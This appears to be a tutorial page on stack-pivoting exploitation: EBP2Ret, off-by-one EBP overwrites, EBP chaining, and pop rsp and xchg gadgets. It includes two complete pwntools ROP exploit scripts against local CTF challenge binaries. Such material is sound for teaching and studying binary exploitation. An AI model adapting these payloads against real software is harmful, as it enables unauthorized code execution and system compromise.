# Stack Pivoting - EBP2Ret - EBP chaining

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## Basic Information

This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the `leave; ret` instruction sequence.

As a reminder, **`leave`** basically means:

```
mov               esp, ebp
pop               ebp
ret
```

And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.

### EBP2Ret

This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.

If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.

#### Exploit Construction

First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.

Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:

* A valid [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) address.
* The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
* The address of a **`jump esp;`** gadget ([**ret2esp**](ret2esp-ret2reg.md)) followed by the **shellocde** to execute.
* Some [**ROP**](rop-return-oriented-programing.md) chain

Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.

#### Off-By-One Exploit

There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.

### **EBP Chaining**

Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.

Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:

* **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
* **`system()`** -> Called by `ret`
* **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
* **`&("/bin/sh")`**-> Param fro `system`

Basically this way it's possible to chain several fake EBPs to control the flow of the program.

This is like a [ret2lib](ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.

Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0x0,               # rbp (could be the address of anoter fake RBP)
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,
    elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
    buffer,         # Load leak address in RBP
    LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())
```

## EBP is useless

As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.

* **Not optimized:**

```bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
```

* **Optimized:**

```bash
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return
```

## Other ways to control RSP

### **`pop rsp`** gadget

[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:

```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and 
# continues the ROP chain in the prepared payload
payload += flat(
    POP_CHAIN,
    buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())
```

### xchg \<reg>, rsp gadget

```
pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp
```

## References

* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)

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